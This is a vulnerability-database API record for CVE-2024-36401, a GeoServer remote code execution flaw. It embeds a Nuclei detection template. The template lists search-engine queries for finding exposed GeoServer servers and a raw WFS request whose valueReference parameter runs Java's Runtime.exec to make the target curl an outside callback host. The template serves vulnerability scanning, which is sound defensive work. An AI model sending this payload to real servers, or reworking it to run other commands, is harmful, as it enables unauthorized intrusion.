{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-36401/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-36401/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-36401/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-36401/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-36401/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-36401"},"sightings":{"href":"/api/v1/sightings/cve-2024-36401"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-36401.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-36401\n\ninfo:\n  name: GeoServer RCE in Evaluating Property Name Expressions\n  author: DhiyaneshDk,ryanborum\n  severity: critical\n  description: |\n    In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.\n  remediation: |\n    Apply the latest security patches and updates from the vendor to address this vulnerability.\n  impact: |\n    This vulnerability can lead to executing arbitrary code.\n  reference:\n    - https://x.com/sirifu4k1/status/1808270303275241607\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-36401\n    - https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401\n    - https://github.com/advisories/GHSA-6jj6-gm7p-fcvv\n  classification:\n    epss-score: 0.99813\n    epss-percentile: 0.99959\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: osgeo\n    product: geoserver\n    shodan-query: \"Server: GeoHttpServer\"\n    fofa-query:\n      - title=\"geoserver\"\n      - app=\"geoserver\"\n    google-query: intitle:\"geoserver\"\n  tags: cve,cve2024,geoserver,rce,unauth,kev,vkev,vuln\n\nflow: |\n   if(http(1))\n   {\n   set(\"name\",template.typename[0])\n   http(2)\n   }\n\nhttp:\n  - raw:\n      - |\n        GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    extractors:\n      - type: regex\n        name: typename\n        part: body\n        group: 1\n        regex:\n          - typeName=([^&\\]]+)\n        internal: true\n\n  - raw:\n      - |\n        @timeout 20s\n        GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{name}}&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+{{interactsh-url}}') HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/xml\"\n# digest: 4b0a00483046022100b600a68f85d0b763b986457606f9f18f423b17f7eee36f23d82c29721d69c531022100e53c3d17a32f93062a15bd274494bdc96b73c72228d707e3182758e9902e54de:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-36401"}